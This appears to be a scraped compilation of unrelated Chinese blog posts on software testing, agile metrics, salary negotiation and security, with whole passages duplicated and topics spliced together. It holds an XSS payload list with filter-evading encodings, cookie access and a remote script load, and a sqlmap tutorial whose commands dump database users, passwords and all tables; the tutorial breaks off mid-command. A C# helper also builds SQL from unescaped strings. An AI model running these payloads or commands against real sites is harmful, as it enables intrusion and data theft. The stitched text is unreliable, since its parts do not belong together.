给类的公有方法做
单元测试,很简单,new一个对象,设好入口参数后,调用这个方法,比较期望值和实际值即可。给一个类的私有方法做单元测试,也不麻烦,先通过反射获取这个方法,然后将这个方法的可访问性强制设为true,这样的话,这个私有方法就可以被调用了。
代码如下:
//被测试方法 private Double format(Double fileSize){ Double size = fileSize; size = size / 1024 / 1024; size = (int)(size.doubleValue() * 10 + 0.5) / 10.0; return size; } @Test public void testFormat(){ ClientDownloadAction action = new ClientDownloadAction(); double size = 3732930; Class class1 = action.getClass(); try { Method format = class1.getDeclaredMethod("format", Double.class); format.setAccessible(true);//设为可见 Double result = (Double)format.invoke(action, size); Double expect = 3.6; Assert.assertEquals(expect, result); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); } } |
我认为
敏捷社区要改变评测敏捷团队是否成功的方法。我们收集指标以及从这些指标中获取信息的方法实际上妨碍了我们做出能用的软件,而这才是最重要的东西。
强推个体指标有时会导致过于关注其他人,影响团队的协作。这会歪曲我们要评测的内容,摧毁我们的真实意图。
在我看来主要有两个问题:
观察者效应: 观察者效应是指对一个流程进行观测可能会影响它的输出。比如告诉一个团队你会密切关注他们的速度,该团队可能会为了加快速度而过度估算他们的
工作内容。这在处理 故事点 时尤其危险,因为根本就没有依据可以判断估算是否有效。
尽管上面这幅漫画中的情况很有可能发生过,但并不是我理想中观察者效应的例子。我给你们讲一个我很久之前认识的技术支持工程师,我们叫他“杰森”好了,因为他的名字就是杰森。杰森是一位优秀的技术支持,在别人遇到特别困难的问题时他会施以援手,一般在客户打来第一个电话时他就能正确地把问题解决掉,而且客户对他的评价很高。问题是杰森接电话的时间太长,而这一指标对管理层来说非常重要。后来经过几次会议和一次考核之后,杰森明白他必须把时间缩短,否则就只能另谋高就了。很快几周就过去了,杰森的呼叫时长在整个支持团队中排到了前5名。他是怎么做到的呢?如果不是我有一天接他班时提前到了一个小时,他可能永远都不会跟人讲起其中的秘密,那天我发现他原来是接了电话之后马上就挂掉了。
这挺有点儿意思,如果杰森的呼叫时长没有他的真实绩效重要,他就不会干那种事。以呼叫时长为指标评测他对产出产生了负面影响。除了这个糟糕的指标之外,即便没碰到过杰森这么极端的情况,我们也都遇到过只想尽快让你挂上电话的技术支持。问题是你的团队为了让自己的数值更好看挂了哪些电话?
路灯效应:路灯效应是指我们人类倾向于寻找更容易的答案,而不是真实的信息。比如计算代码行数就很简单,但代码行数并不能告诉我们程序的质量如何,也不能表明程序提供的功能性甚至效率怎么样。
我想起以前曾经工作过的一个团队,我们做了几个产品,每个产品的质量标准都不一样。当时的情形是“产品A”的质量标准要难得多,而产品B、产品C或产品D的质量标准不会是什么太大的问题,除非管理层在下次审查临近时改变了对这些产品质量的要求。
问题是“质量”这个概念有点模糊,真的不太好评测。而错误率就容易测量得多,因此那些做产品A这个质量标准比较高的产品的人,在面对审查时就更加不利。那这份工作最终是由谁来完成的呢?大部分是实习生、临时工或做外包的那些人,或者其他任何人,总之没人愿意参与。
事实证明,即便是容易测量的错误率,也不能给出什么有价值的信息,因为出现错误的次数更多是由产品而不是员工决定的。我们反而赶走了几个不错的新员工,丢掉了客户,整个团队的士气也受挫了,因为他们工作时考虑更多的是在如何避免错误,而不是如何构建产品。
因为这两个都不是
软件开发的例子,所以接下来我们把这些概念放到一些常见的、你所熟悉的“敏捷”指标上。容易测量的指标有哪些?
编写单元测试的数量: 大多数敏捷开发者都会写很多单元测试;测试驱动的开发创建的测试更多(两者都能带来更好的代码质量)。所以用一个开发人员编写的测试数量来评测他的生产率肯定是没错的!实际上观察者效应会把这个指标灭掉。告诉开发人员会用他们编写的测试数量来评测他,他们肯定会在不考虑质量的情况下写很多测试。我们不是为了交付测试代码;我们的目标是交付可用的软件。不管在什么时候,我对测试的态度都是宁缺毋滥。
个人的速度:观察者效应再一次把这个变成了一个糟糕的指标。如果开发人员知道他的绩效决定了他的个人等级,也知道只能通过他专职的工作得分,那实际上就是在打消他为团队做贡献的积极性。他被放在一个非常不敏捷的情境中,他要跟自己的团队竞争,而不是为团队做贡献。
在理想情况下,敏捷团队是相互协作的,彼此之间有互动,相互讨论和评审他们做的几乎所有事情。这有助于构建优质软件,快速解决问题,但如果把个人的生产率从团队里剥离出来,则几乎不可能形成这种层次的互动,所以不要做这种尝试,这样只会伤害团队做出优质软件的能力。
团队的速度: 这是Scrum中最容易被误解的指标之一。一个团队的速度是独一无二的。不能拿来跟其他的团队比较。比如团队A估计某项工作的工作量为一个50点的sprint,而团队B估计的sprint相同,不过是150点。如果两个团队都成功完成了sprint,那么团队A的速度是50点,而团队B的速度是150点。哪个团队效率更高?都一样。他们完成的工作是一样的。因为这个指标鼓励团队捏造估值,以影响他们规划下次sprint的能力,所以这个指标特别邪恶。如果团队不能正确规划sprint,那整体软件的发布就有被延迟的危险。我之前专门写过一篇博客讨论 Scrum 团队的速度,可供参考。
好吧,大才子,我们应该用什么指标?
问得好,我们用交付的可用软件评测团队生产率。我们要评测的是实际产出,而不是贡献因素。这种方法更敏捷,因为团队可以自由选择能够成功构建软件的方法,而不是可以得到更高指标得分的方法。这也更合理,因为我们能带到银行去的就是能用的软件(当然是在卖给他们之后)。
那么新指标究竟有哪些?
交付的价值: 这个指标需要产品所有者参与。让他给出每个故事的价值,能体现这个故事对利益相关者的影响程度。你可以用实际的金额或某种明确的数字表示这个价值。在每次sprint完成后,你会得到一个数值,表明从产品所有者的角度来看你交付给客户的价值是多少。
这个指标不评测绩效,而是评测影响。理想情况下,产品所有者会按backlog中的顺序从高到低给出每个条目的价值,这样每次sprint所交付的价值就会尽可能的最大化。对于明确限定了范围的项目,一开始的sprint会有非常高的交付价值,随着不断向backlog中深入,sprint交付的价值会逐级递减。有时会因为开发成本的原因消除再运行一次sprint的可能,通常这时开发团队就可以开始去做新的产品了。
交付的及时性: 有时我会听到有人跟我说他们公司推广敏捷开发方法的计划失败了,因为他们不能明确产品的交付日期。我不会认同这种说法。敏捷团队应该可以明确确定软件的具体交付日期。交付时可能会有些故事还没实现,但那通常是些低价值故事,对客户的影响不大。也就是说团队的速度应该是稳定的,如果速度加快或变慢,也应该是逐级变化的。如果不同sprint之间出现剧烈的速度波动,则很难做出长期规划。
接下来是我们的指标:如果团队预测接下来的sprint能完成5个故事,那他们完成 5个故事后能挣到2分。如果他们交付了4个故事,或者他们交付提前的时间不到2天(根据你的情况选择天数),那他们能挣到1分。如果他们交付提前的时间超过2天,或只交付了5个中的3个,则不得分。在季度末,或一次发布结束,或年末时,团队预测sprint的准确程度就是评判他们的标准。
所以我们评测的是交付给客户的价值以及交付软件的及时性。只有这两个跟收钱有关的真实指标。
我成为
测试人员数年,在很多时候负载测试常常让我感觉如芒刺在背。它需要花很长时间来实现一个定制的解决方案,但现代的方法模拟负载又并不是行之有效的。众包测试在我看来就是一种负载测试;它可以使您在许多不同的环境中将一个特定的“东西”在大量的测试人员中测试。但就像所有类型的测试一样,我相信它有一个适用的时间和地点。
让数据说话
我最近参加的一个会议上展示了一个众包测试最好的案例(尽管不是会议的目的)。让我重现一下当时的场景。想象一下,一个在酒店举行的超过800人参加的会议,再加上这是一个技术性会议。启用无线设备的数量是大约每3位出席者就有一个。除此之外,许多与会者都入住该酒店,在他们逗留期间每个人都可以使用免费wifi。
当酒店人员在设置WIFI的时候,他能够预期到如此大的使用量吗?
第一天结束的时候,你并不能质疑酒店的服务。我们都有一个通过我们的房间门连接的不会收取费用的网络。然而,作为一个参展商,这不是一个试图证明使用云端的虚拟机的好时机。
与前面的示例不同,我认为有些情况下,应用
测试众包形式确是不必要的。过去我曾经参与过得一个产品,发布测试周期大约为两周。如何处理在许多遗留产品中常见的情况,这种问题又来了。有一些人建议众包测试,把公司看作是服务提供者。然而,我相信这是一个滥用的词了,而且它为大家建立了什么。产品是很复杂的,需要比较深入的理解才能确定一个问题是否实际上是一个问题,这不是一个典型的以用户为中心的应用程序。它不是一个大众市场的产品,设计语言环境和语言的多样性是一个因素。它也并不是完美到用户很难找到几个被确认为是
Bug的产品,此情景下,关键问题确实发现的大量问题是否被记录且反馈。
时间和地点
我们无可否认测试众包的力量,事实上,它使不同的人,在不同的空间,测试在现实的真实世界的场景。但在努力加快测试的情况下,人们不应该选择测试众包。测试众包有巨大的能量,但使用它时,应该经过一个深思熟虑的选择,确保它是适当的技术。
关于作者
艾玛·阿姆斯特朗(@EmmaAtester)是一个测试工程师,all-round do-gooder at Red Gate,他为软件质量服务了超过13年。在此期间,她擅长手动和自动测试,从而有机会从编译器深入到
web应用程序。
她精通于很多方法论,掌握了从处理底层芯片硬件技术到表层UI的技术,她除了管理测试团队外,目前还参与到Red Gate最新的
软件开发工具的
工作。
我成为测试人员数年,在很多时候负载测试常常让我感觉如芒刺在背。它需要花很长时间来实现一个定制的解决方案,但现代的方法模拟负载又并不是行之有效的。众包测试在我看来就是一种负载测试;它可以使您在许多不同的环境中将一个特定的“东西”在大量的测试人员中测试。但就像所有类型的测试一样,我相信它有一个适用的时间和地点。
在社会大学里混了那么多年,我最惨痛的经历就是,在应聘一家企业的时候,总是羞于谈薪酬待遇。大概这是很多
职场新人都会遇到过的尴尬吧——觉得自己经验不够,或者想应聘的企业比较好,就觉得对方提多少就是多少吧,甭说什么五险一金,就连基本工资的坎都不敢谈。
然而这个坎如果你自己不去过,以后多的是坎儿跟你整。曾经做过一段时间的人力资源,我可以很明确的说,你入职的时候谈定的基础工资将决定了以后你在这个公司的岗位级别和晋升程度。
说白了就是,基础工资越低,你以后晋升就越慢——所以尽可能地与雇用单位抬高你的基础薪资的谈判。
1、不要表现得太想进这家公司
即使这家公司多么优秀,多么符合你的期望,也不要表现出一幅“我就是要来这里
工作除了这里我没有其他备选”。以前我too young too simple too naive,以为只要表现出自己的诚意,对方也会以诚意回报于我。然而事实上,应聘
面试跟谈恋爱一样是拉锯战,谁先告白、谁先表态,谁就处于下风。
之前因为太热衷出版工作,对方知晓我就是想当编辑,谈薪资待遇就各种克扣。更多的企业更喜欢剥削那些对这份岗位抱有热忱的人——尤其是出版行业,我顺便吐个槽,出版公司水太深,爱读书的好孩子还是把看书当做乐趣就好。
2、一定要好好谈薪资
我见过太多渣公司了,跟你谈工作内容的时候可以谈上两小时,但是跟你谈薪酬待遇,三分钟不到话题就结束了。不要觉得提薪资很尴尬或怎样,你不为自己谋福利,还等着对方良心发现么?
举个例子吧,我之前去一家影院应聘市场经理,我事先做好了市场推广的整套方案,在投简历的时候附带了这份方案,很快得到了面试通知。面谈的时候是跟市场部负责人谈的,双方都觉得不错,到了谈薪酬待遇的时候,就去见了影院的董事长——那叫一个渣啊!
首先董事长就跟我说,市场部是没有经理这个岗位的(神经,招聘网上写的就是“市场经理”),市场部经理就是之前跟你谈的那个负责人,你来了,她坐什么位置?接着说,你提的薪资比市场部经理还高,你又不是在外面做了几百万业绩,然后被我挖角来的,我要是给你这个薪资,其他员工会答应吗?
然后,他说,你做的方案我看过了,很有心,我觉得年轻人不要太着紧岗位职称,从基层做起,你做出业绩,以后别说是月薪一万,十万都给你!(妈蛋这种套话我几百年听到耳朵生脓了)最后给我提了个很低的薪酬,还说看在你的诚意上,我再给你500的补贴吧!
我觉得砍价这些事情其实都没什么,毕竟二三线城市的企业,给的待遇也高不去哪儿。最惹恼我的就是,他为了砍价,最后的最后他拿起我的方案,用手指掂量掂量了一下,说:“你说你做了多年的策划,我看你文案水平也不怎么样嘛。”
从这种态度上,一个是我感觉不受尊重,即使真的喜欢这份工作,在这里肯定也得不到任何提升;另一个就是,无论你的能力或经验如何,任何一个诬蔑应聘者诚意的企业都配不上你。
3、基础薪资的谈判
那么,如果遇到一家比较好的企业,你该如何谈薪资呢?一定要重视基础薪资的谈判。基础薪资就是你的岗位薪资,一般企业HR或部门负责人问你,你期望的薪资是如何的,你先别回答,可以反问对方:“不知道贵公司对这个岗位的薪酬设置是如何的?”
企业 跟应聘者其实是一样平等,不要觉得自己来面试就是有求于人——你完全可以提出自己合理的要求。当HR给出了答案,你心里就有个底了——高于你的期望值,你可以直接接受;远远低于你的期望值,你就可以知道这个岗位对这个企业来说重要程度如何,或者他们对你本人的定位是如何的,又或者这家企业的薪资明显低于同行的,自己斟酌着可以撤了。如果薪资比较接近你的期望值,那么你可以开始下一轮的谈判了。
在社会大学里混了那么多年,我最惨痛的经历就是,在应聘一家企业的时候,总是羞于谈薪酬待遇。大概这是很多
职场新人都会遇到过的尴尬吧——觉得自己经验不够,或者想应聘的企业比较好,就觉得对方提多少就是多少吧,甭说什么五险一金,就连基本工资的坎都不敢谈。
然而这个坎如果你自己不去过,以后多的是坎儿跟你整。曾经做过一段时间的人力资源,我可以很明确的说,你入职的时候谈定的基础工资将决定了以后你在这个公司的岗位级别和晋升程度。
说白了就是,基础工资越低,你以后晋升就越慢——所以尽可能地与雇用单位抬高你的基础薪资的谈判。
1、不要表现得太想进这家公司
即使这家公司多么优秀,多么符合你的期望,也不要表现出一幅“我就是要来这里
工作除了这里我没有其他备选”。以前我too young too simple too naive,以为只要表现出自己的诚意,对方也会以诚意回报于我。然而事实上,应聘
面试跟谈恋爱一样是拉锯战,谁先告白、谁先表态,谁就处于下风。
之前因为太热衷出版工作,对方知晓我就是想当编辑,谈薪资待遇就各种克扣。更多的企业更喜欢剥削那些对这份岗位抱有热忱的人——尤其是出版行业,我顺便吐个槽,出版公司水太深,爱读书的好孩子还是把看书当做乐趣就好。
2、一定要好好谈薪资
我见过太多渣公司了,跟你谈工作内容的时候可以谈上两小时,但是跟你谈薪酬待遇,三分钟不到话题就结束了。不要觉得提薪资很尴尬或怎样,你不为自己谋福利,还等着对方良心发现么?
举个例子吧,我之前去一家影院应聘市场经理,我事先做好了市场推广的整套方案,在投简历的时候附带了这份方案,很快得到了面试通知。面谈的时候是跟市场部负责人谈的,双方都觉得不错,到了谈薪酬待遇的时候,就去见了影院的董事长——那叫一个渣啊!
首先董事长就跟我说,市场部是没有经理这个岗位的(神经,招聘网上写的就是“市场经理”),市场部经理就是之前跟你谈的那个负责人,你来了,她坐什么位置?接着说,你提的薪资比市场部经理还高,你又不是在外面做了几百万业绩,然后被我挖角来的,我要是给你这个薪资,其他员工会答应吗?
然后,他说,你做的方案我看过了,很有心,我觉得年轻人不要太着紧岗位职称,从基层做起,你做出业绩,以后别说是月薪一万,十万都给你!(妈蛋这种套话我几百年听到耳朵生脓了)最后给我提了个很低的薪酬,还说看在你的诚意上,我再给你500的补贴吧!
我觉得砍价这些事情其实都没什么,毕竟二三线城市的企业,给的待遇也高不去哪儿。最惹恼我的就是,他为了砍价,最后的最后他拿起我的方案,用手指掂量掂量了一下,说:“你说你做了多年的策划,我看你文案水平也不怎么样嘛。”
从这种态度上,一个是我感觉不受尊重,即使真的喜欢这份工作,在这里肯定也得不到任何提升;另一个就是,无论你的能力或经验如何,任何一个诬蔑应聘者诚意的企业都配不上你。
3、基础薪资的谈判
那么,如果遇到一家比较好的企业,你该如何谈薪资呢?一定要重视基础薪资的谈判。基础薪资就是你的岗位薪资,一般企业HR或部门负责人问你,你期望的薪资是如何的,你先别回答,可以反问对方:“不知道贵公司对这个岗位的薪酬设置是如何的?”
企业 跟应聘者其实是一样平等,不要觉得自己来面试就是有求于人——你完全可以提出自己合理的要求。当HR给出了答案,你心里就有个底了——高于你的期望值,你可以直接接受;远远低于你的期望值,你就可以知道这个岗位对这个企业来说重要程度如何,或者他们对你本人的定位是如何的,又或者这家企业的薪资明显低于同行的,自己斟酌着可以撤了。如果薪资比较接近你的期望值,那么你可以开始下一轮的谈判了。
作为一个开发人员,需要保证高质量的开发代码。所以需要做好的是
单元测试:那么单元测试都有哪些方面呢?
学习一下然后将做的任务按照单元测试的方法进行测试!
单元测试:最小单位测试,又称模块测试!
测试时期;在编码之后、通过编译和代码走查后由开发人员执行;
测试方法:主要采用
白盒测试方法,辅助以
黑盒测试方法。要了解模块的I/O单元条件和逻辑结构,对模块内所有重要的控制路径设计
测试用例,以便发现模块内部的错误。如果模块不是独立的程序,应为测试模块开发一个驱动模块和若干个桩模块。驱动模块是调用被测模块的主程序,桩模块是用来替代被测试模块的子模块。
测试内容:模块
接口测试、模块局部数据结构测试、模块边界条件测试、模块中所有独立执行路径测试和模块的各条错误处理路径测试。
测试的具体内容:一般对接口的方法编译错误或者是变量参数的控制,这个一般在做任务的时候都会解决,重点注意的问题是:
1、边界条件测试:
在n次循环的第0次、1次、n次时是否有错误;
运算或判断中取最大值、最小值时是否有错误;
数据流、控制流中刚好等于、大于、小于确定的比较值时是否有错误。
2、独立路径测试,在模块中应对每一条独立执行路径进行测试,保证模块中每条语句至少执行一次,运用基本路径测试和循环测试,常可以发现以下几类错误:
误解或用错了算术或逻辑运算符的优先顺序;
运算对象的类型不相容;
算法错误;
变量初值错误;
运算精度不够;
表达式符号错误;
不同数据类型的比较;
因浮点运算精度造成的两值不等;
关系表达式中的错误变量和比较符;
循环次数不对;
循环终止条件错误;
迭代发散时不能退出循环;
错误地修改了循环变量
3、错误处理测试
一个好的设计应能预见各种出错条件,并预先设置各种出错处理路径。错误处理测试着重检查下列问题:
显示的出错信息难以理解;
显示的错误与实际的错误不符;
显示的出错信息不足以对错误定位、确定出错原因;
对错误处理不当;
在对错误进行处理之前,已引起系统的介入。
如上就是作为单元测试具体的内容,具体我们喜欢遗漏和犯错误的地方:就是对于循环控制爱出错,还有对错误信息处理的时候处理的比较随意,不能很好的让客户理解,如上是根据工作和学习单元测试所总结的一点小东西。希望对大家都有帮助
1、<a href="javascript:alert(32)">DIBRG</a>
2、<img href="javascript:alert(32)">
在IE下可以,在FF下不可以
3、<img src=" http://xss.jpg" onerror=alert('XSS')>
IE,FF下均可
4、<img STYLE="background-image: url(javascript:alert('XSS'))">
在IE下可以,在FF下不可以
5、<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG SRC="javascript:alert(String.fromCharCode(88,83,83))"> <IMG SRC="jav ascript:alert('XSS');"> <SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT> <<SCRIPT>alert("XSS");//<</SCRIPT> <iframe src=http://example.com/scriptlet.html < <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> <BODY BACKGROUND="javascript:alert('XSS')"> <BODY ONLOAD=alert(document.cookie)> <BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")> <IMG DYNSRC="javascript:alert('XSS')"> <IMG DYNSRC="javascript:alert('XSS')"> <BR SIZE="&{alert('XSS')}"> <IMG SRC='vbscript:msgbox("XSS")'> <TABLE BACKGROUND="javascript:alert('XSS')"> <DIV STYLE="width: expression(alert('XSS'));"> <DIV STYLE="background-image: url(javascript:alert('XSS'))"> <STYLE TYPE="text/javascript">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> <?='<SCRIPT>alert("XSS")</SCRIPT>'?> <A HREF="javascript:document.location='http://www.example.com/'">XSS</A> <IMG SRC=javascript:alert('XSS')> <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> a="get"; b="URL("""; c="javascript:"; d="alert('XSS');"")"; eval(a+b+c+d); |
6、XSS转码
有攻就有防,网站程序员肯定不会放任大家利用XSS,所以他们常会过滤类似javascript的关键字符,让大家构造不了自己的XSS,我这里就捡两个被忽略惯了的字符来说,它们是"&"和"\".首先来说说"&"字符,玩过SQL注入的都知道,注入的语句可以转成16进制再赋给一个变量运行,XSS的转码和这个还真有异曲同工之妙,原因是我们的IE浏览器默认采用的是UNICODE编码,HTML编码可以用ASCII方式来写,这种XSS转码支持10进制和16进制,SQL注入转码是将16进制字符串赋给一个变量,而XSS转码则是针对属性所赋的值,下面我就拿<img src="javascript:alert('XSS');">示例:
<img src="javascript:a
lert('XSS');"> //10进制转码
<img src="javascrip
t:alert('XSS');"> //16进制转码。
这个分隔符还可以继续加0变成“j” ,“j” ,“j” ,“j”等形式。
而这个"\"字符却暴露了一个严重的XSS 0DAY漏洞,这个漏洞和CSS(Cascading Style Sheets)层叠样式表有很大的关联,下面我就来看看这个漏洞,先举个javascript的eval 函数的例子,官方是这样定义这个函数:
eval(codeString),必选项 codestring 参数是包含有效 JScript 代码的字符串值。这个字符串将由 JScript 分析器进行分析和执行。
我们的JavaScript中的"\"字符是转义字符,所以可以使用"\"连接16进制字符串运行代码
<SCRIPT LANGUAGE="JavaScript"> eval("\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29") </SCRIPT> |
可以通过/etc/sysctl.conf控制和配置 Linux内核及网络设置。 # 避免放大攻击 net.ipv4.icmp_echo_ignore_broadcasts = 1 # 开启恶意icmp错误消息保护 net.ipv4.icmp_ignore_bogus_error_responses = 1 # 开启SYN洪水攻击保护 net.ipv4.tcp_syncookies = 1 # 开启并记录欺骗,源路由和重定向包 net.ipv4.conf.all.log_martians = 1 net.ipv4.conf.default.log_martians = 1 # 处理无源路由的包 net.ipv4.conf.all.accept_source_route = 0 net.ipv4.conf.default.accept_source_route = 0 # 开启反向路径过滤 net.ipv4.conf.all.rp_filter = 1 net.ipv4.conf.default.rp_filter = 1 # 确保无人能修改路由表 net.ipv4.conf.all.accept_redirects = 0 net.ipv4.conf.default.accept_redirects = 0 net.ipv4.conf.all.secure_redirects = 0 net.ipv4.conf.default.secure_redirects = 0 # 不充当路由器 net.ipv4.ip_forward = 0 net.ipv4.conf.all.send_redirects = 0 net.ipv4.conf.default.send_redirects = 0 # 开启execshild kernel.exec-shield = 1 kernel.randomize_va_space = 1 # IPv6设置 net.ipv6.conf.default.router_solicitations = 0 net.ipv6.conf.default.accept_ra_rtr_pref = 0 net.ipv6.conf.default.accept_ra_pinfo = 0 net.ipv6.conf.default.accept_ra_defrtr = 0 net.ipv6.conf.default.autoconf = 0 net.ipv6.conf.default.dad_transmits = 0 net.ipv6.conf.default.max_addresses = 1 # 优化LB使用的端口 # 增加系统文件描述符限制 fs.file-max = 65535 # 允许更多的PIDs (减少滚动翻转问题); may break some programs 32768 kernel.pid_max = 65536 # 增加系统IP端口限制 net.ipv4.ip_local_port_range = 2000 65000 # 增加TCP最大缓冲区大小 net.ipv4.tcp_rmem = 4096 87380 8388608 net.ipv4.tcp_wmem = 4096 87380 8388608 # 增加Linux自动调整TCP缓冲区限制 # 最小,默认和最大可使用的字节数 # 最大值不低于4MB,如果你使用非常高的BDP路径可以设置得更高 # Tcp窗口等 net.core.rmem_max = 8388608 net.core.wmem_max = 8388608 net.core.netdev_max_backlog = 5000 net.ipv4.tcp_window_scaling = 1 |
using System; using System.Data; using System.Data.SqlClient; namespace Whir.Software.Framework.Ultimate { /// <summary> /// </summary> public class DbHelper { #region 判断连接是否成功 /// <summary> /// 判断连接是否成功! /// </summary> /// <param name="con"> 链接字符串</param> /// <returns>true 表示链接成功,false表示连接失败</returns> public static bool IsConnected(string con) { bool flag; var conn = new SqlConnection(con); try { conn.Open(); flag = true; } catch (Exception) { flag = false; } finally { conn.Close(); } return flag; } #endregion /// <summary> /// 执行不带参数sql语句 /// </summary> /// <param name="sql">增,删,改sql语句</param> /// <param name="con"></param> /// <returns>返回所影响的行数</returns> public static bool Execute(string sql, string con) { var cmd = new SqlCommand(); var connection = new SqlConnection(con); try { using (connection) { cmd.Connection = connection; cmd.CommandText = sql; connection.Open(); cmd.ExecuteNonQuery(); return true; } } catch (Exception) { return false; } } #endregion #region 执行SQL语句返回DataTable /// <summary> /// 执行SQL语句返回DataTable /// </summary> /// <param name="sql"></param> /// <param name="con"></param> /// <returns></returns> public static DataTable ExcuteDataTable(string sql, string con) { var cmd = new SqlCommand(); var connection = new SqlConnection(con); try { using (connection) { cmd.Connection = connection; cmd.CommandText = sql; connection.Open(); var da = new SqlDataAdapter(cmd); var ds = new DataSet(); da.Fill(ds); return ds.Tables[0]; } } catch (Exception ex) { var dt = new DataTable(); dt.Columns.Add("异常信息"); DataRow row = dt.NewRow(); row["异常信息"] = ex.Message; dt.Rows.Add(row); return dt; } } #endregion #region 执行SQL语句查询单条记录 /// <summary> /// 执行SQL语句查询单条记录 /// </summary> /// <param name="sql"></param> /// <param name="con"></param> /// <returns></returns> public static object ExecuteScalar(string sql, string con) { var cmd = new SqlCommand(); var connection = new SqlConnection(con); try { using (connection) { cmd.Connection = connection; cmd.CommandText = sql; connection.Open(); return cmd.ExecuteScalar(); } } catch (Exception) { return string.Empty; } } #endregion #region 取得表最大Id /// <summary> /// 取得表最大Id /// </summary> /// <param name="tableName"></param> /// <param name="fieldName"></param> /// <param name="con"></param> /// <returns></returns> public static int GetMaxId(string tableName, string fieldName, string con) { string sql = "SELECT NVL(MAX({0}),0)+1 FROM {1}"; try { sql = string.Format(sql, fieldName, tableName); int result; Int32.TryParse(ExecuteScalar(sql, con).ToString(), out result); return result; } catch (Exception) { return -1; } } #endregion } } |
需求:现在有一个网站的页面,我希望用python自动化的
测试点击这个页面上所有的在本窗口跳转,并且是本站内的链接,前往到链接页面之后在通过后退返回到原始页面。
要完成这个需求就必须实现3点:
1. 找到原始页面上面所有的在本窗口内跳转的链接
2. 跳转到目标页面之后,“后退”到原始页面
3. 在原始页面上继续点击后续的链接
首先,要找到页面上的所有链接并不困难。selenium为我们提供了find_elements_by_tag_name方法。我们只需要在初始化webdriver之后,调用
driver.find_elements_by_tag_name("a")
就能找到页面上的所有a标签。
我们可以对所有的a标签进行点击,但是这样的话我们不能保证所有的a标签所指向的目标页面都是站内的,有可能目标是其他的站外网页;另外这样也不能保证该跳转页面是在本窗口跳转而不是新开一个窗口。
解决办法:
使用selenium.webdriver.remote.webelement.WebElement提供的get_attribute方法。
通过get_attribute拿到该a标签的各种属性,通过判断找到符合要求的元素进行点击。
get_attribute("href") 得到a标签对应的目标页面的URL,对URL进行判断就可以了解到该页面是否站内页面。我们可以知道,如果是站内页面的话这个属性一般会是一个相对路径,或者包含了本站域名,但如果是站外页面的话,那它一定是包含了“http”的一个url。
get_attribute("target")如果target不是"_blank"的话,可以判断该页面是在本窗口跳转的。
跳转到下一页面后如何返回原始页面呢?
selenium webdriver 提供了back方法可以轻松的达到这个目标:driver.back()
最后,需要在返回了原始页面之后继续点击下一个链接进行测试,这个不用说肯定要使用for loop:
for i in range(0, len(driver.find_elements_by_tag_name("a"))):
在python中,如果我们指定i在range(0, x)中循环时,会以1为步长来遍历从0到(x-1)的序列。例如:range(0,5)会得到[0, 1, 2, 3, 4]。当我们想更改range的步长时,则需要为range方法提供第三个参数。例如:range(0,5,2),则会以2为步长,得到[0,2,4]这个序列。
另外,我们也可以使用类似C#中foreach的方法:
for targetLink in driver.find_elements_by_tag_name("a"):
这种方法同样可以遍历所有的a标签集合中的所有元素。
如果使用第二种方法,我们觉得这个需求可以简单的实现为:
links = driver.find_elements_by_tag_name("a") for link in links: if not "_blank" in link.get_attribute("target") and ("google" in link.et_attribute("href") or not "http" in link.get_attribute("href")): link.click() driver.back() |
但是这样的实现在运行时会抛出异常:
selenium.common.exceptions.StaleElementReferenceException: Message: u'Element not found in the cache - perhaps the page has changed since it was looked up'
异常的说明已经很明显了:在cache中找不到元素,在元素被找到之后页面变换了。 这就说明,当当前页面发生跳转之后,存在cache中的关于这个页面的元素也被清空了。
因此,我们需要在每次回到原始页面之后对我们感兴趣的a标签元素重新搜索,同时我们又必须接着上次的点击到的元素继续点击。因此我们使用第一种遍历的方法来实现这个for loop:
length = len(driver.find_elements_by_tag_name("a") for i in range(0,length): links = driver.find_elements_by_tag_name("a") link = links[i] if not ("_blank" in link.get_attribute("target") or "http" in link.get_attribute("href")): link.click() driver.back() |
这样,在每次返回页面之后会重新搜索一遍页面上的a元素,然后使用cache中的i继续点击下一个跳转链接。
相关文章:
第一步:
http://yunpan.cn/QiCBLZtGGTa7U 访问密码 c26e
第二步:
安装Python,将sqlmap解压到Python根目录下;
第三步:
小试牛刀,查看sqlmap版本:
python sqlmap/sqlmap.py -h
第四步:
通过
SQL注入扫描工具扫描网站,找出怀疑有SQL注入问题的URL;
推荐 啄木鸟 !~~ 《oo》
第五步:
1.基础信息
python sqlmap/sqlmap.py -u "http://url/news?id=1" --current-user #获取当前用户名称 python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --current-db #获取当前 数据库名称 python sqlmap/sqlmap.py -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名 python sqlmap/sqlmap.py -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段 python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0 #获取字段内容 |
2.信息内容
python sqlmap/sqlmap.py -u "http://url/news?id=1" --smart --level 3 --users # smart智能 level 执行 测试等级 python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbms "Mysql" --users # dbms 指定数据库类型 python sqlmap/sqlmap.py -u "http://url/news?id=1" --users #列数据库用户 python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs#列数据库 python sqlmap/sqlmap.py -u "http://url/news?id=1" --passwords #数据库用户密码 python sqlmap/sqlmap.py -u "http://url/news?id=1" --passwords-U root -v 0 #列出指定用户数据库密码 python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20 #列出指定字段,列出20条 python sqlmap/sqlmap.py -u "http://url/news?id=1" --dump-all -v 0 #列出所有数据库所有表 python sqlmap/sqlmap.py -u "http://url/news?id=1" --privileges #查看权限 python sqlmap/sqlmap.py -u "http://url/news?id=1" --privileges -U root #查看指定用户权限 python sqlmap/sqlmap.py -u "http://url/news?id=1" --is-dba -v 1 #是否是数据库管理员 python sqlmap/sqlmap.py -u "http://url/news?id=1" --roles #枚举数据库用户角色 python 